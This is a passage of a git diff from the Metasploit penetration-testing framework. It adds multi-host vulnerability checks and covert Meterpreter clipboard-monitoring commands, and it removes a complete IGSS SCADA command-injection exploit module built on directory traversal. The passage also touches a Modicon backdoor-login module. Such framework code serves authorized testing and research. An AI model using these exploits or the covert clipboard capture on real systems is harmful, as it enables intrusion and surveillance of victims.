mod.replicant + instance.datastore['RHOST'] = tip.dup + framework.events.on_module_created(instance) + check_simple(instance) + } + end + + break if @tl.length == 0 + + tla = @tl.length + + # This exception handling is necessary, the first thread with errors can kill the + # whole check_multiple and leave the rest of the threads running in background and + # only accessible with the threads command (Thread.list) + begin + @tl.first.join + rescue ::Exception => exception + if exception.kind_of?(::Interrupt) + raise exception + else + elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}") + end + end + + @tl.delete_if { |t| not t.alive? } + tlb = @tl.length + + @range_done += (tla - tlb) + check_show_progress if @show_progress + end + end + # # Checks to see if a target is vulnerable. # def cmd_check(*args) defanged? + + ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || '' + hosts = Rex::Socket::RangeWalker.new(ip_range_arg) + begin - code = mod.check_simple( + if hosts.ranges.blank? + # Check a single rhost + check_simple + else + # Check multiple hosts + last_rhost_opt = mod.rhost + last_rhosts_opt = mod.datastore['RHOSTS'] + mod.datastore['RHOSTS'] = ip_range_arg + begin + check_multiple(hosts) + ensure + # Restore the original rhost if set + mod.datastore['RHOST'] = last_rhost_opt + mod.datastore['RHOSTS'] = last_rhosts_opt + mod.cleanup + end + end + rescue ::Interrupt + # When the user sends interrupt trying to quit the task, some threads will still be active. + # This means even though the console tells the user the task has aborted (or at least they + # assume so), the checks are still running. Because of this, as soon as we detect interrupt, + # we force the threads to die. + if @tl + @tl.each { |t| t.kill } + end + print_status("Caught interrupt from the console...") + return + end + end + + def check_simple(instance=nil) + unless instance + instance = mod + end + + rhost = instance.rhost + rport = instance.rport + + begin + code = instance.check_simple( 'LocalInput' => driver.input, 'LocalOutput' => driver.output) if (code and code.kind_of?(Array) and code.length > 1) if (code == Msf::Exploit::CheckCode::Vulnerable) - print_good(code[1]) + print_good("#{rhost}:#{rport} - #{code[1]}") else - print_status(code[1]) + print_status("#{rhost}:#{rport} - #{code[1]}") end else - print_error("Check failed: The state could not be determined.") + print_error("#{rhost}:#{rport} - Check failed: The state could not be determined.") end - rescue ::Interrupt - raise $! + rescue ::Rex::ConnectionError, ::Rex::ConnectionProxyError, ::Errno::ECONNRESET, ::Errno::EINTR, ::Rex::TimeoutError, ::Timeout::Error + # Connection issues while running check should be handled by the module + rescue ::RuntimeError + # Some modules raise RuntimeError but we don't necessarily care about those when we run check() + rescue Msf::OptionValidateError => e + print_error("Check failed: #{e.message}") rescue ::Exception => e - print_error("Exploit check failed: #{e.class} #{e}") - if(e.class.to_s != 'Msf::OptionValidateError') - print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple/ - print_error(" #{line}") - end - end + print_error("#{rhost}:#{rport} - Check failed: #{e.class} #{e}") end end diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index e3c059f2b3..82a58b8361 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -19,11 +19,11 @@ class Clipboard @client = client end + # # Get the target clipboard data in whichever format we can # (if it's supported). + # def get_data(download = false) - results = [] - request = Packet.create_request('extapi_clipboard_get_data') if download @@ -32,45 +32,12 @@ class Clipboard response = client.send_request(request) - text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) - - if text - results << { - :type => :text, - :data => text - } - end - - files = [] - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f| - files << { - :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), - :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) - } - } - - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| - if jpg - results << { - :type => :jpg, - :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), - :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), - :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) - } - end - end - - return results + return parse_dump(response) end + # # Set the target clipboard data to a text value + # def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') @@ -81,8 +48,120 @@ class Clipboard return true end + # + # Start the clipboard monitor if it hasn't been started. + # + def monitor_start(opts) + request = Packet.create_request('extapi_clipboard_monitor_start') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img]) + return client.send_request(request) + end + + # + # Pause the clipboard monitor if it's running. + # + def monitor_pause + request = Packet.create_request('extapi_clipboard_monitor_pause') + return client.send_request(request) + end + + # + # Dump the conents of the clipboard monitor to the local machine. + # + def monitor_dump(opts) + pull_img = opts[:include_images] + purge = opts[:purge] + purge = true if purge.nil? + + request = Packet.create_request('extapi_clipboard_monitor_dump') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge) + + response = client.send_request(request) + + return parse_dump(response) + end + + # + # Resume the clipboard monitor if it has been paused. + # + def monitor_resume + request = Packet.create_request('extapi_clipboard_monitor_resume') + return client.send_request(request) + end + + # + # Purge the contents of the clipboard capture without downloading. + # + def monitor_purge + request = Packet.create_request('extapi_clipboard_monitor_purge') + return client.send_request(request) + end + + # + # Stop the clipboard monitor and dump optionally it's contents. + # + def monitor_stop(opts) + dump = opts[:dump] + pull_img = opts[:include_images] + + request = Packet.create_request('extapi_clipboard_monitor_stop') + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump) + request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img) + + response = client.send_request(request) + unless dump + return response + end + + return parse_dump(response) + end + attr_accessor :client +private + + def parse_dump(response) + result = {} + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| + ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # fat chance of someone adding two different bits of text to the + # clipboard at the same time + result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| + ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + result[ts]['Files'] ||= [] + result[ts]['Files'] << { + :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), + :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) + } + end + + response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| + if jpg + ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # same story with images, there's no way more than one can come + # through on the same timestamp with differences + result[ts]['Image'] = { + :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), + :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), + :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) + } + end + end + + return result + end + end end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb index 132230e3ca..d7a2fff3ec 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/tlv.rb @@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35) -TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38) + +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39) +TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40) + TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42) TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43) @@ -40,6 +44,11 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47) TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48) +TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50) +TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51) +TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52) +TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53) + TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55) TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56) TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb index d006221b30..70b1ef4d7e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/net/config.rb @@ -49,10 +49,9 @@ class Config get_interfaces().each(&block) end - # # Returns an array of network interfaces with each element. # - # being an Interface + # @return [Array] def get_interfaces request = Packet.create_request('stdapi_net_config_get_interfaces') ifaces = [] diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb index 751eee39a4..82d75c3b6f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb @@ -30,7 +30,7 @@ class Config def getuid request = Packet.create_request('stdapi_sys_config_getuid') response = client.send_request(request) - return client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( response.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -53,14 +53,15 @@ class Config result[var_name] = var_value end - return result + result end # # Returns the value of a single requested environment variable name # def getenv(var_name) - getenvs(var_name)[var_name] + _, value = getenvs(var_name).first + value end # @@ -92,7 +93,7 @@ class Config req = Packet.create_request('stdapi_sys_config_steal_token') req.add_tlv(TLV_TYPE_PID, pid.to_i) res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -101,7 +102,7 @@ class Config def drop_token req = Packet.create_request('stdapi_sys_config_drop_token') res = client.send_request(req) - return client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) + client.unicode_filter_encode( res.get_tlv_value(TLV_TYPE_USER_NAME) ) end # @@ -114,7 +115,7 @@ class Config res.each(TLV_TYPE_PRIVILEGE) do |p| ret << p.value end - return ret + ret end protected diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 8a95288ae1..199cad709c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -5,7 +5,6 @@ module Rex module Post module Meterpreter module Ui - ### # # Extended API window management user interface. @@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard # def commands { - "clipboard_get_data" => "Read the victim's current clipboard (text, files, images)", - "clipboard_set_text" => "Write text to the victim's clipboard" + "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", + "clipboard_set_text" => "Write text to the target's clipboard", + "clipboard_monitor_start" => "Start the clipboard monitor", + "clipboard_monitor_pause" => "Pause the active clipboard monitor", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor", + "clipboard_monitor_dump" => "Dump all captured clipboard content", + "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it", + "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard # @@get_data_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ] ) def print_clipboard_get_data_usage print( "\nUsage: clipboard_get_data [-h] [-d]\n\n" + - "Attempts to read the data from the victim's clipboard. If the data is in a\n" + + "Attempts to read the data from the target's clipboard. If the data is in a\n" + "supported format, it is read and returned to the user.\n" + @@get_data_opts.usage + "\n") end # - # Get the data from the victim's clipboard + # Get the data from the target's clipboard # def cmd_clipboard_get_data(*args) download_content = false @@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard end } - loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) - ::FileUtils.mkdir_p( loot_dir ) - end + dump = client.extapi.clipboard.get_data(download_content) - # currently we only support text values - results = client.extapi.clipboard.get_data(download_content) - - if results.length == 0 + if dump.length == 0 print_error( "The current Clipboard data format is not supported." ) return false end - results.each { |r| - case r[:type] - when :text - print_line - print_line( "Current Clipboard Text" ) - print_line( "======================" ) - print_line - print_line( r[:data] ) - - when :jpg - print_line - print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" ) - - if download_content - file = Rex::Text.rand_text_alpha(8) + ".jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |f| - f.write r[:data] - end - print_good( "Clipboard image saved to #{path}" ) - else - print_line( "Re-run with -d to download image." ) - end - - when :files - if download_content - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each { |f| - download_file( loot_dir, f[:name] ) - } - print_good( "Downloaded #{r[:data].length} file(s)." ) - print_line - else - table = Rex::Ui::Text::Table.new( - 'Header' => 'Current Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each { |f| - table << [f[:name], f[:size]] - total += f[:size] - } - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - end - end - - print_line - } + parse_dump(dump, download_content, download_content, download_path) return true end @@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-h" => [ false, "Help banner" ] ) - def clipboard_set_text_usage + def print_clipboard_set_text_usage print( "\nUsage: clipboard_set_text [-h] \n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard @@set_text_opts.parse(args) { |opt, idx, val| case opt when "-h" - clipboard_set_text_usage + print_clipboard_set_text_usage return true end } - return client.extapi.clipboard.set_text(args.join(" ")) + return client.extapi.clipboard.set_text(args.join(" ")) end -protected + # + # Options for the clipboard_monitor_start command. + # + @@monitor_start_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Capture image content when monitoring (default: true)" ] + ) + + # + # Help for the clipboard_monitor_start command. + # + def print_clipboard_monitor_start_usage + print( + "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + + "Starts a background clipboard monitoring thread. The thread watches\n" + + "the clipboard on the target, under the context of the current desktop, and when\n" + + "changes are detected the contents of the clipboard are captured. Contents can be\n" + + "dumped periodically. Image content can be captured as well (and will be by default)\n" + + "however this can consume quite a bit of memory.\n\n" + + @@monitor_start_opts.usage + "\n") + end + + # + # Start the clipboard monitor. + # + def cmd_clipboard_monitor_start(*args) + capture_images = true + + @@monitor_start_opts.parse(args) { |opt, idx, val| + case opt + when "-i" + # default this to true + capture_images = val.downcase != 'false' + when "-h" + print_clipboard_monitor_start_usage + return true + end + } + + client.extapi.clipboard.monitor_start({ + # random class and window name so that it isn't easy + # to track via a script + :wincls => Rex::Text.rand_text_alpha(8), + :cap_img => capture_images + }) + + print_good("Clipboard monitor started") + end + + # + # Options for the clipboard_monitor_purge command. + # + @@monitor_purge_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_purge command. + # + def print_clipboard_monitor_purge_usage + print("\nUsage: clipboard_monitor_purge [-h]\n\n" + + "Purge the captured contents from the monitor. This does not stop\n" + + "the monitor from running, it just removes captured content.\n\n" + + @@monitor_purge_opts.usage + "\n") + end + + # + # Purge the clipboard monitor captured contents + # + def cmd_clipboard_monitor_purge(*args) + @@monitor_purge_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_purge_usage + return true + end + } + client.extapi.clipboard.monitor_purge + print_good("Captured clipboard contents purged successfully") + end + + # + # Options for the clipboard_monitor_pause command. + # + @@monitor_pause_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_pause command. + # + def print_clipboard_monitor_pause_usage + print("\nUsage: clipboard_monitor_pause [-h]\n\n" + + "Pause the currently running clipboard monitor thread.\n\n" + + @@monitor_pause_opts.usage + "\n") + end + + # + # Pause the clipboard monitor captured contents + # + def cmd_clipboard_monitor_pause(*args) + @@monitor_pause_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_pause_usage + return true + end + } + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused successfully") + end + + # + # Options for the clipboard_monitor_resumse command. + # + @@monitor_resume_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_resume command. + # + def print_clipboard_monitor_resume_usage + print("\nUsage: clipboard_monitor_resume [-h]\n\n" + + "Resume the currently paused clipboard monitor thread.\n\n" + + @@monitor_resume_opts.usage + "\n") + end + + # + # resume the clipboard monitor captured contents + # + def cmd_clipboard_monitor_resume(*args) + @@monitor_resume_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_resume_usage + return true + end + } + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed successfully") + end + + # + # Options for the clipboard_monitor_dump command. + # + @@monitor_dump_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_dump command. + # + def print_clipboard_monitor_dump_usage + print( + "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" + + "Dump the capture clipboard contents to the local machine..\n\n" + + @@monitor_dump_opts.usage + "\n") + end + + # + # Dump the clipboard monitor contents to the local machine. + # + def cmd_clipboard_monitor_dump(*args) + purge = true + download_images = true + download_files = true + download_path = nil + + @@monitor_dump_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-p" + purge = val.downcase != 'false' + when "-h" + print_clipboard_monitor_dump_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_dump({ + :include_images => download_images, + :purge => purge + }) + + parse_dump(dump, download_images, download_files, download_path) + + print_good("Clipboard monitor dumped") + end + + # + # Options for the clipboard_monitor_stop command. + # + @@monitor_stop_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] + ) + + # + # Help for the clipboard_monitor_stop command. + # + def print_clipboard_monitor_stop_usage + print( + "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" + + @@monitor_stop_opts.usage + "\n") + end + + # + # Stop the clipboard monitor. + # + def cmd_clipboard_monitor_stop(*args) + dump_data = true + download_images = true + download_files = true + download_path = nil + + @@monitor_stop_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-x" + dump_data = val.downcase != 'false' + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-h" + print_clipboard_monitor_stop_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_stop({ + :dump => dump_data, + :include_images => download_images + }) + + parse_dump(dump, download_images, download_files, download_path) if dump_data + + print_good("Clipboard monitor stopped") + end + +private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) @@ -182,17 +377,64 @@ protected if stat.directory? client.fs.dir.download( dest, source, true, true ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } elsif stat.file? client.fs.file.download( dest, source ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end end + def parse_dump(dump, get_images, get_files, download_path) + loot_dir = download_path || "." + if (get_images || get_files) && !::File.directory?( loot_dir ) + ::FileUtils.mkdir_p( loot_dir ) + end + + dump.each do |ts, elements| + elements.each do |type, v| + title = "#{type} captured at #{ts}" + under = "=" * title.length + print_line(title) + print_line(under) + + case type + when 'Text' + print_line(v) + + when 'Files' + total = 0 + v.each do |f| + print_line("Remote Path : #{f[:name]}") + print_line("File size : #{f[:size]} bytes") + if get_files + download_file( loot_dir, f[:name] ) + end + print_line + total += f[:size] + end + + when 'Image' + print_line("Dimensions : #{v[:width]} x #{v[:height]}") + if get_images and !v[:data].nil? + file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join(loot_dir, file) + path = ::File.expand_path(path) + ::File.open(path, 'wb') do |x| + x.write v[:data] + end + print_line("Downloaded : #{path}") + end + end + print_line(under) + print_line + end + end + end + end end diff --git a/lib/rex/zip/jar.rb b/lib/rex/zip/jar.rb index f9154ebbc9..74a1641fd6 100644 --- a/lib/rex/zip/jar.rb +++ b/lib/rex/zip/jar.rb @@ -36,10 +36,13 @@ class Jar < Archive # def build_manifest(opts={}) main_class = opts[:main_class] || nil + app_name = opts[:app_name] || nil existing_manifest = nil @manifest = "Manifest-Version: 1.0\r\n" @manifest << "Main-Class: #{main_class}\r\n" if main_class + @manifest << "Application-Name: #{app_name}\r\n" if app_name + @manifest << "Permissions: all-permissions\r\n" @manifest << "\r\n" @entries.each { |e| next if e.name =~ %r|/$| diff --git a/modules/auxiliary/admin/http/intersil_pass_reset.rb b/modules/auxiliary/admin/http/intersil_pass_reset.rb index 7d663c7a44..465a4aa556 100644 --- a/modules/auxiliary/admin/http/intersil_pass_reset.rb +++ b/modules/auxiliary/admin/http/intersil_pass_reset.rb @@ -52,12 +52,12 @@ class Metasploit3 < Msf::Auxiliary }) if (res and (m = res.headers['Server'].match(/Boa\/(.*)/))) - print_status("#{peer} - Boa Version Detected: #{m[1]}") + vprint_status("#{peer} - Boa Version Detected: #{m[1]}") return Exploit::CheckCode::Safe if (m[1][0].ord-48>0) # boa server wrong version return Exploit::CheckCode::Safe if (m[1][3].ord-48>4) return Exploit::CheckCode::Vulnerable else - print_status("#{peer} - Not a Boa Server!") + vprint_status("#{peer} - Not a Boa Server!") return Exploit::CheckCode::Safe # not a boa server end diff --git a/modules/auxiliary/admin/scada/igss_exec_17.rb b/modules/auxiliary/admin/scada/igss_exec_17.rb deleted file mode 100644 index 1b250ddf59..0000000000 --- a/modules/auxiliary/admin/scada/igss_exec_17.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - require 'msf/core/module/deprecated' - include Msf::Module::Deprecated - deprecated Date.new(2013, 12, 17), 'exploit/windows/scada/igss_exec_17' - - include Msf::Exploit::Remote::Tcp - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Interactive Graphical SCADA System Remote Command Injection', - 'Description' => %q{ - This module abuses a directory traversal flaw in Interactive - Graphical SCADA System v9.00. In conjunction with the traversal - flaw, if opcode 0x17 is sent to the dc.exe process, an attacker - may be able to execute arbitrary system commands. - }, - 'Author' => [ 'Luigi Auriemma', 'MC' ], - 'License' => MSF_LICENSE, - 'References' => - [ - [ 'CVE', '2011-1566'], - [ 'OSVDB', '72349'], - [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ], - ], - 'DisclosureDate' => 'Mar 21 2011')) - - register_options( - [ - Opt::RPORT(12397), - OptString.new('CMD', [ false, 'The OS command to execute', 'echo metasploit > %SYSTEMDRIVE%\\metasploit.txt']), - ], self.class) - end - - def run - - connect - - exec = datastore['CMD'] - - packet = [0x00000100].pack('V') + [0x00000000].pack('V') - packet << [0x00000100].pack('V') + [0x00000017].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') + [0x00000000].pack('V') - packet << [0x00000000].pack('V') - packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\" - packet << "windows\\system32\\cmd.exe\" /c #{exec}" - packet << "\x00" * (143 + exec.length) - - print_status("Sending command: #{exec}") - sock.put(packet) - sock.get_once(-1,0.5) - disconnect - - end - -end diff --git a/modules/auxiliary/admin/scada/modicon_password_recovery.rb b/modules/auxiliary/admin/scada/modicon_password_recovery.rb index f8cdaadd8f..1b953fc3f0 100644 --- a/modules/auxiliary/admin/scada/modicon_password_recovery.rb +++ b/modules/auxiliary/admin/scada/modicon_password_recovery.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Auxiliary [ Opt::RPORT(21), OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser']), - OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']), + OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password']) ], self.class) register_advanced_options( @@ -59,7 +59,6 @@ class Metasploit3 < Msf::Auxiliary # device, then we're going to end up storing HTTP credentials that are not # correct. If there's a way to fingerprint the device, it should be done here. def check - return true unless datastore['RUN_CHECK'] is_modicon = false vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint" connect rescue nil @@ -68,22 +67,26 @@ class Metasploit3 < Msf::Auxiliary is_modicon = check_banner() disconnect else - print_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" - return false + vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping" + return Exploit::CheckCode::Unknown end + if is_modicon - print_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint" + return Exploit::CheckCode::Detected else - print_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" + vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch" end - return is_modicon + + return Exploit::CheckCode::Safe end def run - if check() 